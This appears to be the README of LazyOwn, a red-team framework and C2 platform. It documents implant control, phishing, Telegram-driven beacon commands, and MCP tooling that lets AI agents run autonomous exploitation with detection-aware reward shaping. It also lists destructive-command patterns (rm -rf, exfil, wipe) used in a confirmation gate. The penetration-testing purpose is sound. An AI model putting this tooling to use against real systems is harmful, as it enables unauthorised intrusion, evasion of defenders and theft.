レッドチームフレームワークおよびマルチオペレーターC2プラットフォーム。AIエージェント、可変インプラント、ルートキット、フィッシングエンジン、および攻撃キルチェーン全体をカバーする741のCLIコマンドを備える。
| 60秒で試す(インストール不要) | ゴールデンパス(すべてのエンゲージメント) | ワンコマンド自動pwn |
|---|---|---|
docker run -it ghcr.io/grisuno/lazyown:latest | ping > lazynmap > auto_populate > facts_show > recommend_next | engage 10.10.11.5 |

| 最初の7コマンド | 偵察ループ |
|---|---|
![]() | ![]() |
| CLIからのC2 | ビーコンへのコマンド発行 |
|---|---|
![]() | ![]() |
完全なウォークスルー: QUICKSTART.md(5分) · 80/20ガイド: ESSENTIALS.md · HTBエンドツーエンド: docs/examples/htb-lame-walkthrough.md · 正直な比較: COMPARISON.md
| 機能 | LazyOwn | Sliver | Havoc | Mythic | Caldera | Metasploit |
|---|---|---|---|---|---|---|
| Linux BOFサポート | yes | no | no | no | no | no |
| YARA + Nucleiマーケットプレイス内蔵 | yes | no | no | no | no | no |
| AIエージェント向けMCPサーバー(153ツール) | yes | no | no | no | no | no |
| LLMオペレーター + マルチエージェントハイブ | yes | no | no | no | no | no |
| マルチオペレーターC2 + フィッシングエンジン | yes | partial | partial | partial | partial | partial |
完全な表: COMPARISON.md。誤りを見つけましたか?issueを開いてください、修正します。```sh
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[](https://ko-fi.com/Y8Y2Z73AV)
LazyOwn comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under the terms of the GNU General Public License v3.
See the LICENSE file for details about using this software.
# LazyOwn RedTeam Framework v0.2.161
LazyOwnは、ペネトレーションテスター、レッドチーム、セキュリティ研究者向けに構築されたプロフェッショナルなレッドチームフレームワーク兼Command & Control (C2)プラットフォームです。741のCLIコマンド、126のエイリアス、AIエージェント向けの153のMCPツール、マルチオペレーター対応のWeb C2ダッシュボード、そしてLinux、Windows、macOS、BSDにわたるキルチェーン全体をカバーする137のYAML/Luaプラグイン統合を提供します。
**v0.2.161の新機能:** YARAルール + Nucleiテンプレートを統合したマーケットプレイス、`auto_pwn`自律エクスプロイト、脅威情報に基づく偵察のための`hunt`コマンド、コマンド実行後のヒントエンジン、セッションデータの自動暗号化、ゲーミフィケーションされたELO/バッジ、そして7つの新しいAPTプレイブック。
## 3つのコマンドでクイックスタート
初めての方へ。これが導入のすべてです。完全なウォークスルー: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md)。```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh # virtualenv + pinned dependencies + C2 certificates
./run # launches the shell; first run offers the setup wizard
デフォルトのインストールは軽量です。重量級のtorch/CUDAスタックには--with-ml、ローカルLLMランタイムには--with-ollama、一般的な外部バイナリには--with-toolsを追加してください。依存関係はrequirements.txt(クロスプラットフォームコア)とrequirements-ml.txt(オプションのML)に固定されており、pyproject.tomlが唯一の信頼できる情報源です。
分離された再現可能なエンゲージメントについては、lazyown-docker/README.mdを参照してください。```bash
cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1
次に、`(LazyOwn) >` シェル内で:```text
doctor # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping # confirm the target is up and detect its OS
lazynmap # full port + service scan
doctor がブロッキング障害(赤)を報告した場合は、先に進む前に修正してください。不足しているものに対して、正確な pip install / apt install コマンドが表示されます。警告(黄)はオプション機能であり、今は無視して構いません。
LazyOwn は、セキュリティテストワークフローに柔軟性と拡張性を提供する、モジュール式のコマンド駆動型アーキテクチャを中心に構築されています。

LazyOwn は、cmd2 上に構築されたコマンドラインインターフェース(CLI)と、Flask 上に構築された Web ベースの GUI を統合しています。パラメータは payload.json にスコープされ、ツール間で一貫した設定を可能にします。このフレームワークは、敵対者シミュレーション、cron コマンドによるタスクスケジューリング、および永続的な自動脅威シミュレーションワークフローをサポートしています。


Model Context Protocol(MCP)を介して Claude Code を LazyOwn フレームワークに接続します。MCP サーバーは、エンゲージメントのライフサイクル全体をカバーする 153 のツールを公開します。
| ファイル | 目的 |
|---|---|
skills/lazyown_mcp.py | MCP サーバー — 153 の LazyOwn ツールを Claude に公開 |
skills/lazyown.md | Claude Code スキル / スラッシュコマンドのドキュメント |
skills/autonomous_daemon.py | 自律実行デーモン(目的駆動型、ステップ間で Claude 不要) |
skills/hive_mind.py | ChromaDB メモリを備えたマルチエージェントのクイーン + ドローンシステム |
skills/lazyown_policy.py | auto_loop 用の報酬ベースのポリシーエンジン |
skills/lazyown_facts.py | nmap XML およびツール出力からの構造化ファクト抽出 |
skills/lazyown_parquet_db.py | Parquet ナレッジベース: セッション履歴、GTFOBins、LOLBas、ATT&CK |
完全ガイド:
QUICKSTART.md```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh
./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show
bash fast_run_as_r00t.sh --no-attach --vpn 1
(LazyOwn) > blacksandbeacon
(LazyOwn) > collab_join alice
---
## マルチオペレーターコラボレーション
LazyOwnのコラボレーション層は、Server-Sent Events(SSE)を介してリアルタイムのチームサーバー機能を提供します。これは`lazyc2.py`の起動時に自動的に有効化されます。
**ブラウザダッシュボード** — チーム内の任意のブラウザで開いてください:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>
ターミナルSSEストリーム:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .
**すべてのオペレーターに所見を公開する**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
-H "Content-Type: application/json" \
-d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'
ターゲットをロックする(2人のオペレーターが同じツールを実行するのを防ぎます):```bash
curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'
| エンドポイント | メソッド | 説明 |
|---|---|---|
| `/collab/` | GET | マルチオペレーターブラウザダッシュボード |
| `/collab/stream?operator=<name>` | GET (SSE) | リアルタイムイベントストリーム |
| `/collab/operators` | GET | アクティブなオペレーター一覧 |
| `/collab/publish` | POST | 構造化イベントをブロードキャスト |
| `/collab/lock` | POST | アドバイザリターゲットロックを取得 |
| `/collab/unlock` | POST | ターゲットロックを解放 |
| `/collab/locks` | GET | すべてのアクティブロック |
| `/collab/history?n=100` | GET | 直近N件のイベント |
CLIから: `collab_join <handle>` は指定されたオペレーターのすべてのURLを出力します。
---
## MCP クイックスタート
LazyOwnはModel Context Protocol (MCP) を介してフレームワーク全体を公開します。同じサーバーはClaude Code、Claude Desktop、Hermes Agent、OpenCodeで動作します — 環境に合った統合を選択してください。
### Claude Code```bash
bash scripts/setup_hermes_mcp.sh
または .mcp.example.json を .mcp.json にコピーし、LAZYOWN_DIR をこのチェックアウトの絶対パスに設定します:```json
{
"mcpServers": {
"lazyown": {
"command": "python3",
"args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"],
"env": {
"LAZYOWN_DIR": "${LAZYOWN_DIR}"
}
}
}
}
スラッシュコマンドをインストールします(任意):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md
Claude Code を再起動すると、すべての lazyown_* ツールが利用可能になります。
LazyOwn は Hermes ネイティブです。skills/hermes-lazyown/ 統合レイヤーは、チェックポイント再開、動的ルール生成、ネイティブ委任プランニングを備えた、Hermes のコンテキストウィンドウに最適化されたコンパクトな名前空間付きツールサーフェスを提供します。
~/.hermes/config.yaml に登録します:```yaml
mcp_servers:
hermes-lazyown:
command: python3
args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"]
env:
LAZYOWN_DIR: "${LAZYOWN_DIR}"
その後、Hermesで `/reload-mcp` を使ってMCPツールをリロードします。
完全なHermes統合ガイドについては、`skills/hermes-lazyown/README.md` を参照してください。
### OpenCode
LazyOwnは **LazyOwnOpenCodeAdapter** を介してOpenCodeフレンドリーです:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build
アダプタはLazyOwnのMCPサーバーをOpenCode CLIにブリッジし、同じlazyown_*ツールサーフェスをOpenCodeネイティブのプロンプトとワークフローで公開します。
| 変数 | デフォルト | 説明 |
|---|---|---|
LAZYOWN_DIR | skills/の親 | LazyOwnルートディレクトリ |
LAZYOWN_C2_HOST | payload.json lhost | C2サーバーアドレス |
LAZYOWN_C2_PORT | payload.json c2_port | C2サーバーポート |
LAZYOWN_C2_USER | payload.json c2_user | C2ユーザー名 |
LAZYOWN_C2_PASS | payload.json c2_pass | C2パスワード |
| グループ | ツール | 説明 |
|---|---|---|
| コア実行 | 7 | run_command (dry_run + confirm対応)、get/set_config、list_modules、discover_commands、command_help、palette |
| 監査とコンテキスト | 6 | target_context、tasks_cleanup、evidence_grep、session_diff、run_command_async、job_status |
| ターゲット管理 | 3 | add_target、list_targets、set_active_target |
| C2 / インプラント制御 | 10 | c2_command、c2_status、get_beacons、run_api、c2_profile、c2_vuln_analysis、c2_redop、c2_search_agent、c2_script、c2_adversary |
| セッション認識 | 4 | session_status、session_state、list_sessions、read_session_file |
| 自律ループ | 3 | auto_loop、policy_status、recommend_next |
| ACI — 自律キャンペーンインテリジェンス | 3 | aci_plan、aci_status、aci_replan |
| リアクティブインテリジェンス | 2 | reactive_suggest、bridge_suggest |
| 目標と計画 | 4 | inject_objective、next_objective、soul、read_prompt |
| ナレッジベース | 9 | parquet_query/annotate、facts_show、cve_search、searchsploit、rag_index/query、threat_model |
| メモリと学習 | 3 | memory_recall/store、eval_quality |
| キャンペーンとレポート | 7 | campaign、campaign_tasks、generate_report、misp_export、collab_publish、timeline |
| プレイブック | 2 | playbook_generate、playbook_run |
| アドオン、ツール、プラグイン | 3 | list_addons/plugins、create_addon/tool |
| スケジューリング | 2 | cron_schedule、daemon |
| AIエージェント | 5 | run_agent、agent_status/result、list_agents、llm_ask |
| イベントエンジン | 4 | poll_events、ack_event、add_rule、heartbeat_status |
| SWAN MoE+RL | 4 | swan_run、swan_ensemble、swan_status、swan_route |
完全なドキュメント: skills/README.md および skills/lazyown.md。
自律監査をより効率的かつエラーが発生しにくくするために
skills/lazyown_mcp_helpers.py に追加されました。ロジックは純粋関数モジュールに
あるため、単独でユニットテスト可能です (tests/test_mcp_improvements.py)。
| ツール / パラメータ | 機能 | 重要な理由 |
|---|---|---|
lazyown_session_init(format='json', include_recommend=true) | SITREPをバナーではなく構造化dictとして返す。オプションで上位3件のランク付けされた推奨アクションを埋め込む。 | 呼び出しごとに約5KBの装飾テキストを節約。エージェントは消費前にフィルタリングできる。 |
lazyown_campaign_sitrep(format='json') | マスターシフトレポートにも同じJSONオプション。 | 両方の状況ツールで一貫したフォーマット。 |
lazyown_target_context(host, port=N) | 1つの (host, port) タプルについて、開いているポート、ワールドモデルの認証情報 (来歴 + 信頼度付き)、脆弱性、pwntomateエビデンスの鮮度、nmapの鮮度を集約する。 | ターゲットの次のアクションを決定する際に、4〜5回の個別ルックアップを置き換える。 |
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5) | sessions/tasks.json を監査し、埋め込まれた認証情報が実際にはタイムスタンプ / URL / IP / 重複であるエントリにフラグを立てる。dry_run=false を渡すとファイルを書き換える (先に .bak が書き込まれる)。 | ウォッチャーはログのタイムスタンプを「認証情報」に変えてしまうことがよくある。実際のキャンペーンでは100件以上のノイズタスクが削減される。 |
| `lazyown_evidence_grep(pattern, scope='all | loot | nmap |
lazyown_run_command(command, dry_run=true) | プリフライト: 実行せずに、ベースコマンド、バイナリパス、OS必須 vs OS現行、重複する成果物、欠落しているペイロードキーを返す。 | 30分のスキャンの誤った再実行を防ぐ。起動前にLinuxターゲットに対してWindows専用ツールにフラグを立てる。 |
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id) | 長時間コマンド (lazynmap、pwntomate、auto_loop) のバックグラウンドジョブパターン。即座に job_id を返す。 | 30分以上と記載されたコマンドでエージェントがブロックされるのを解放する。 |
lazyown_session_diff(take=true) | 最後のスナップショット以降の sessions/ 内の追加 / 変更 / 削除されたファイル、および新しい認証情報 / タスクIDを報告する。 | シフトの引き継ぎを明示的にする。新しいセッションごとの最初の呼び出しとしてうまく機能する。 |
確認ゲート (confirm=true) | lazyown_c2_command、lazyown_c2_redop、lazyown_c2_adversary、および本文が rm -rf / exfil / wipe / encrypt-file に一致する run_command は、明示的な confirm=true 引数が必要になった。 | 自律ループからの偶発的な破壊的操作を防ぐ。 |
| 認証情報の来歴 + 信頼度 | target_context 経由で公開される各認証情報には、is_likely_credential、confidence、、および発見時の ブロック (、、) が含まれる。 |
cli/cli_enhancements.py のSOLID拡張レイヤーは、既存のCommandSet自動検出
(cli/commands/audit.py) を介してcmd2シェルに接続します。27k行の
lazyown.py コアへの編集は、2つの小さなフック (lazyエイリアス読み込み、
completedefault フォールバック) 以外は不要でした。
| コマンド / フック | 機能 | 基盤 |
|---|---|---|
fz [query] | すべての do_*、エイリアス、プラグイン、アドオンに対するファジーコマンドファインダー。完全一致 > プレフィックス > 部分文字列 > シーケンス類似度でスコアリング。 | FuzzyCommandIndex |
form <command> | 多数のフラグを持つコマンド (現在は phishing、venom、evil) について、オペレーターを対話型パラメータフォームで案内する。必須フィールドと options 列挙を検証し、非対話IOではデフォルトにフォールバックする。 | InteractiveForm、FormSpec |
status_tail [target] | 最新の sessions/scan_<target>.partial/.nmap を解析し、開いているポート、完了率、最終行を出力するので、オペレーターはシェルを離れずに長時間スキャンを監視できる。 | LiveStatusTail |
grep_log <pattern> [--cmd <name>] | 実行されたコマンドとその出力の最近のトランスクリプトを正規表現検索する。再起動をまたいで永続化される (sessions/_cli_transcript.jsonl)。 | TranscriptStore |
reload_addons | lazyaddons/ と plugins/ をポーリングし、最後のスイープ以降に変更されたものをシェルを再起動せずに再登録する。 | AddonHotReloader |
audit_complete_keys <command> [partial] | ペイロード対応コンプリーターが特定のコマンドに対して何を提案するかを表示する。補完動作の検証に便利。 | PayloadAwareCompleter |
completedefault (Tab) | Cmd2フックがペイロード対応コンプリーターにフォールスルーし、set/assign にはペイロードキー、target にはIP値、gobuster/ffuf にはワードリストキー、run にはアドオン名、plugin にはプラグイン名、evil/cme/secretsdump にはキャプチャされた認証情報を提案する。 | PayloadAwareCompleter |
| 動的エイリアス解決 | cli/aliases.py はデフォルトで lazy=True になった。エイリアステンプレートは {rhost}/{lhost} などのプレースホルダーを保持し、実行時に self.params に対してレンダリングされる。set rhost X は次のキーストロークで (シェル再起動なしに) すべてのエイリアスに伝播する。事前置換は で引き続き利用可能。 |
プリミティブはフレームワーク非依存で、小さな typing.Protocol インターフェース
(PayloadProvider、CommandLister、TerminalIO) に依存しているため、
単独でユニットテスト可能です。tests/test_cli_enhancements.py (36テスト) を参照。
cmd2シェルはGNU readlineの上にcurses駆動のファジーピッカーをインストールします
(cli/fuzzy_picker.py)。Tab を1回押すと、2つ以上の補完が利用可能な場合、
ピッカーはターミナルの下部に固定された枠付きドロップダウンを開き、すべての一致を
その説明とともに表示します。スコアラーは完全一致、プレフィックス、サブシーケンス
一致を部分文字列や類似度よりも優先し (スタンドアロンの fz コマンドが使用するのと
同じランキング)、クエリの一致文字が各行でハイライトされるので、オペレーターは
候補がなぜリストにあるのかを見ることができます。
ナビゲーション: ↑ / ↓ で移動、Page Up / Page Down でジャンプ、Home /
End でシーク、Backspace でクエリをその場で編集、Tab または
Enter でハイライトされたコマンドをプロンプトに挿入、Esc または
Ctrl-C でキャンセル。候補が1つだけ一致する場合、readlineの通常の
自動挿入動作が保持されるので、ピッカーが素早いオペレーターの邪魔になることは
ありません。ジオメトリ、色、グリフは PickerConfig によって制御され、
payload.json のオプションの fuzzy_picker ブロックでコードに触れることなく
そのフィールドのいずれかを上書きできます (例: "max_visible_rows": 8)。
config_bannercmd2シェルは、正規のセグメントセット (user_host、iface、lhost、rhost、
domain、public_ip、cwd、git、venv、time、kernel、version、
battery_load) から組み立てられた3行のNeon Boxプロンプトをレンダリングします。
レンダラーは cli/banner_config.py に小さなSOLIDスタックとして実装されています:
情報の各部分ごとに1つの SegmentRenderer、SegmentRegistry、
BannerSettings 値オブジェクト、およびANSIカラー出力を発行する BannerRenderer。
パブリックIP、カーネルリリース、LazyOwnバージョンはTTLキャッシュされるので、
最初のレンダリング以降プロンプトはサブミリ秒に保たれます。
config_banner シェルコマンドは、3つのタブ — Segments、Colors、
Glyphs — とパネル下部に固定された結果プロンプトのライブプレビューを備えた
Powerlevel10kスタイルのcursesウィザードを開きます。
Tab / Shift+Tab でタブを循環、↑ / ↓ でアクティブタブ内を移動、
Enter で payload.json の banner ブロックに保存、Escape で
キャンセル。タブごとのバインディング:
| タブ | アクションキー |
|---|---|
| Segments | Space でセグメントのオン/オフを切り替え、a で全セグメントを有効化、n で全セグメントを無効化、d で工場出荷時のデフォルトを復元。 |
| Colors | Space / → で次の名前付きカラー (bright_green、bright_cyan、bright_magenta、…) に循環、← で逆方向に循環、d でそのセグメントのデフォルトカラーを復元。 |
| Glyphs | Space / → でフォーカスされたスロット (top_left、vertical、bullet_primary、arrow、prompt_char_user、…) の次の文字に循環、← で逆方向に循環、d でそのスロットのデフォルトグリフを復元。 |
シェルプロンプトは保存直後に更新されます — 再起動は不要です。
TTYのないオペレーター (CI、スクリプト) は config_banner show と
config_banner reset でシステムを操作するか、ペイロードを手で編集できます:```json
"banner": {
"enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
"colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
"glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
"bullet_primary": "❯", "arrow": "→"}
}
色名は `ColorRegistry` に対して、グリフ文字は `GlyphRegistry` に対して検証され、未知のものは黙ってファクトリのデフォルトにフォールバックするため、不正なペイロードがプロンプトを壊すことは決してありません。
### グラフ対応ナビゲーション — graphify によるオペレーター + エージェント UX
`cli/graph_advisor.py` は、LazyOwn ソースツリー上で
[`/graphify`](https://graphify.dev) によって生成されたナレッジグラフ
(`graphify-out/graph_lazyown.json` — 約1500ノード、約2900エッジ、14
コミュニティ) を読み込み、cmd2 シェルと MCP サーバーの両方に公開します。
アドバイザーは単一ファイルの SOLID スタックです — `GraphLoader` (mtime キャッシュ付きファイル
IO)、`GraphIndex` (インメモリの隣接 / 次数 / コミュニティインデックス)、
`GraphScorer` (純粋なランキングプリミティブ)、`GraphAdvisor` (オーケストレーター) —
すべての定数は `GraphAdvisorConfig` データクラス上に保持されています。
**オペレーターコマンド (cmd2 シェル)**
| コマンド | 目的 |
|---------|---------|
| `graph_search <query> [limit]` | ラベル、id、またはソースファイルによるノードのファジー検索。 |
| `neighbors <node> [depth] [limit]` | エッジの関係 / 信頼度を伴ってノードからグラフを外側に辿ります。 |
| `god_nodes [N]` | 最も接続の多いノード — フレームワークの中核となる抽象化 — を表示します。 |
| `suggest_next [seeds…] [N]` | 最近のアクティビティから外側に辿って次のコマンドを推薦します。シードがない場合は `sessions/LazyOwn_session_report.csv` を読み込み、そこからシードします。 |
シェルの `default()` フックは、未知の `do_*` コマンドを同じアドバイザー + 既存の `FuzzyCommandIndex` に通すようになったため、`ddo_lazynmap` と入力したオペレーターはトーストの前に即座に *"Did you mean: do_lazynmap, do_lazynmap_quick, …?"* を目にします。
**MCP ツール (Claude Code、Claude web、任意の MCP エージェント)**
| ツール | 目的 |
|------|---------|
| `lazyown_graph_summary` | ノード / エッジ / コミュニティの数と、解決されたグラフパス。 |
| `lazyown_graph_search` | `budget_tokens` 上限付きのファジーノード検索で、JSON レスポンスがエージェントのコンテキストウィンドウを圧迫しないようにします。 |
| `lazyown_graph_neighbors` | エッジの関係と信頼度を伴う階層的な隣接探索 — 「X は何に依存しているか?」という定番のクエリ。 |
| `lazyown_graph_suggest_next` | 次のステップの推薦。明示的な `recent` リストを受け取るか、セッショントランスクリプトを読み込みます。 |
すべての MCP グラフツールは、`budget_tokens` (デフォルト1500) に収まるようリストフィールドをその場で切り詰めます。グラフが存在しない場合、すべてのツールはクラッシュする代わりに `{"available": false, "reason": "..."}` を返します — オペレーターは `/graphify .` を一度実行するよう促され、それで全てが動作し始めます。
アドバイザーは `(path, mtime)` でキャッシュするため、`/graphify` の再ビルドがシェルや MCP サーバーを再起動することなく、次の CLI コマンドまたは MCP 呼び出しで自動的に反映されます。ローダー、インデックス、スコアラー、およびアドバイザー API 全体をカバーする20個のユニットテストについては `tests/test_graph_advisor.py` を参照してください。
### インラインリアクティブヒント — ノンブロッキングな次ステップの提案
`cli/reactive_hints.py` は `register_postcmd_hook` を介して cmd2 のポストコマンドパイプラインにフックし、すべてのコマンド出力の下、次のプロンプトが表示される前に、1行の薄暗い行を出力します:```
↳ do_gobuster · do_enum4linux · do_ffuf
提案はgraphifyナレッジグラフ(suggest_nextが使用するのと同じGraphAdvisor)から得られるため、構造的に根拠のあるものであり、汎用的なリストではありません。
フックは完全にノンブロッキングです。cmd2がプロンプトをレンダリングする前に戻るため、オペレーターはすぐに次のコマンドを入力し始めることができます。
制御
| アクション | 方法 |
|---|---|
| セッションのヒントを無効化 | set enable_inline_hints false |
| 再度有効化 | set enable_inline_hints true |
| 永続的に保存 | set enable_inline_hints false の後に save |
スキップリスト上のコマンド(help、?、exit、set、show、palette、
dashboard、suggest_next、graph_search、neighbors、god_nodes)は
ヒント行を生成しません — これらはメタコマンドであり、提案はノイズを追加するだけです。
graphifyグラフが存在しない場合、フックは何も出力せずに戻ります。グラフを構築するために
/graphify . を一度実行すると、次のコマンドからヒントが表示され始めます。
dashboardcli/dashboard_tui.py は、シェルから起動されるフルスクリーンのTextual
ダッシュボードです:```
dashboard
It blocks the shell while open (like `htop` or `lazygit`). Press **Q** or
Ctrl-C to close and return to the cmd2 prompt.
**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5 ATTACKER 10.10.14.5 DOMAIN target.htb PHASE RECON OS │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│ Kill Chain │ Recent Commands │ Ops │
│ ✔ Recon │ ● lazynmap 2026-05-11 │ Objective: │
│ ▶ Enum │ ● ping 2026-05-11 │ Initial Access │
│ ○ Exploit │ ● gobuster 2026-05-11 │ │
│ ○ PrivEsc │ │ Credentials: 0 │
│ ○ Lateral │ │ Hashes: 0 │
│ ○ Exfil │ Config │ Beacons: 0 │
│ ○ Report │ Target: 10.10.11.5 │ │
│ │ C2 Port: 4444 │ │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│ ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto │
└──────────────────────────────────── [Q] Quit [R] Refresh [?] Help ────────┘
データソース(5秒ごとに自動更新)
| パネル | ソース |
|---|---|
| ターゲット / フェーズ / OS | payload.json、sessions/world_model.json |
| キルチェーン進捗 | sessions/world_model.json → completed_phases |
| 最近のコマンド | sessions/LazyOwn_session_report.csv |
| 目的 | sessions/world_model.json、sessions/tasks.json |
| 認証情報 / ハッシュ | sessions/credentials*.txt、sessions/hash*.txt |
| ビーコン | sessions/beacons.json |
| グラフヒント | graphify-out/graph_lazyown.json |
pip install textual が必要(install.sh に追加済み)。
lazyown_palette MCPツール(palette CLIコマンドや /palette Webビューからもアクセス可能で、すべてのC2ページでグローバルな Ctrl+K / Cmd+K オーバーレイを備える)により、エージェントとオペレーターはスクロールせずに422以上の do_* コマンドを閲覧できます。モード:
| モード | 例 | 説明 |
|---|---|---|
| 概要 | palette | フェーズごとのコマンド数。 |
| フェーズ | palette recon | キルチェーンフェーズ内のすべてのコマンドと、1行の要約。 |
| フェーズ + フィルター | palette enum nmap | フリーテキストクエリで絞り込んだフェーズ一覧。 |
| 検索 | palette --search ldap | 名前と要約に対するファジー検索。 |
| 詳細 | palette --info do_lazynmap | 完全なエントリ に加えて、graphify由来の calls と related 隣接ノード(このコマンドとヘルパー関数を共有する他のコマンド)。 |
| 次のフェーズ | palette --next recon | キルチェーンの順序で次に続くフェーズで推奨されるコマンド。 |
詳細ビューの calls / related リストは graphify-out/graph_lazyown.json(graphify スキルによって再生成される)から取得されます。このファイルが存在しない場合、パレットはフェーズデータのみに静かにフォールバックします。
telegram_hermes.py ボットは、MCPレイヤーとHermesゲートウェイを介してTelegramをLazyOwnフレームワーク全体に橋渡しします。直接的なシェルコマンド実行、自律エージェント委任、cronスケジューリング、C2ビーコンとの対話、クロスプラットフォームメッセージングをサポートします。
| ファイル | 目的 |
|---|---|
telegram_hermes.py | Telegramボット — TelegramをLazyOwn MCPとHermesゲートウェイに橋渡し |
run_telegram_hermes.sh | 専用venvを使用するランチャースクリプト |
venv_telegram/ | python-telegram-bot 依存関係を含むPython仮想環境 |
cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"
./run_telegram_hermes.sh
### ボットコマンド
| コマンド | 説明 |
|---------|-------------|
| `/start <secret>` | `payload.json` の C2 シークレットで認証する |
| `/cmd <command>` | 任意の LazyOwn シェルコマンドを実行する |
| `/sitrep` | キャンペーンの状況報告を完全に表示する |
| `/config [key] [val]` | payload.json の値を表示または設定する |
| `/addcli <client_id>` | アクティブな C2 クライアントを設定する |
| `/clients` | オンラインの C2 インプラントを一覧表示する |
| `/c2 <command>` | C2 ビーコンにコマンドを送信する |
| `/agent <goal>` | 自律型 Groq/Ollama エージェントを実行する |
| `/delegate <goal>` | Hermes サブエージェントにタスクを委任する |
| `/cron <schedule> <cmd>` | 定期的な LazyOwn コマンドをスケジュールする |
| `/status` | デーモンと自律型のステータスを表示する |
| `/stop` | 実行中の自律型デーモンを停止する |
| `/download <file>` | sessions/ からファイルをダウンロードする |
| ドキュメントをアップロード | C2 ビーコンにファイルをアップロードする |
`/` で始まらないプレーンテキストメッセージは、直接的な LazyOwn コマンドとして扱われます。レート制限(1分あたり5コマンド)とセッションタイムアウト(30分)が適用されます。
### アーキテクチャ
このボットは MCP サーバー(`skills/lazyown_mcp.py`)と同じ PTY ベースのコマンド実行を使用しているため、すべての LazyOwn コマンド、エイリアス、アドオンが Python の直接インポートなしで動作します。自律型タスク(`/agent`、`/delegate`)は LazyOwn シェルを通じて Groq または Ollama エージェントを起動し、C2 コマンド(`/c2`、`/clients`)は認証済みの `/api/command` および `/get_connected_clients` エンドポイントを使用します。
---
## 高度な AI アーキテクチャ(MoE + RL + SWAN + Hive Mind)
LazyOwn は、あらゆるエンゲージメントを通じて適応・改善する世界クラスのマルチエージェント AI スタックを統合しています:
### Mixture of Experts(MoE) — `modules/moe_router.py`
5つの LLM エキスパートが、機能タグ、基本重み、コスト階層とともに登録されています:
| エキスパート | バックエンド | 強み |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | 偵察、列挙、迅速な意思決定 |
| `groq_powerful` | Groq llama-3.3-70b-versatile | エクスプロイト、ポストエクスプロイト、複雑な推論 |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | 特権昇格、段階的な推論 |
| `ollama_reason` | Ollama deepseek-r1:1.5b | オフライン、プライバシー安全、詳細な分析 |
| `groq_gemma` | Groq gemma2-9b-it | ラテラルムーブメント、認証情報分析 |
ルーティングは、調整された重みに対して温度スケーリングされたソフトマックス(`T = max(0.5, 1.5/(1+calls/50))`)を使用します。重みは、時間の経過に伴うエキスパートごとの報酬の指数移動平均によって自己調整されます。
### Reinforcement Learning from Models(RLM) — `modules/rl_trainer.py`
表形式の Q 学習が、エンゲージメントセッションを通じてルーティングポリシーを訓練します:```
State: (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw| (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]
ハイパーパラメータ: α=0.10、γ=0.90、ε_start=0.20、ε_min=0.05、ε_decay=0.995。イプシロン・グリーディ探索は更新ごとに減衰します。Q値はセッションをまたいで sessions/expert_qvalues.json に永続化されます。
skills/swan_agent.py最上位の統合レイヤーはMoE + RL + Detection Oracle + Hive Memoryを連携させます:
swan_run: RL誘導ルーティングと実行後のQ更新を伴う単一エキスパート実行swan_ensemble: ThreadPoolExecutorによるNエキスパートの並列実行、WeightedTextAggregator による統合OutcomeEvaluator: 検知確率が70%以上の場合に報酬=0(検知を考慮した報酬形成)modules/detection_oracle.py実行前に検知確率を予測します。以下をカバーする17のSigma-liteルールを使用: 認証情報アクセス(LSASS、SAM、DCSync)、横展開(PsExec、WMI、evil-winrm)、権限昇格(トークン偽装、名前付きパイプ)、エクスプロイト、偵察、C2、ブルートフォース。
確率集約: 発動したすべてのルールにわたる P(detect) = 1 - ∏(1 - P_i)。
modules/auto_purple.py攻撃アクションを実行し、検知のためにLazyOwnBTに問い合わせ、キャリブレーションのために結果をDetection Oracleにフィードバックする自動化されたレッド対ブルー測定ループ。```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI
**検出方法:**
| 方法 | チェック内容 |
|--------|----------------|
| `ai_test` | LazyOwnBT MLモデル予測 |
| `proc_scan` | 疑わしいプロセス名 |
| `net_scan` | 異常な接続/ポート |
| `log_analyze` | 認証/syslogの異常 |
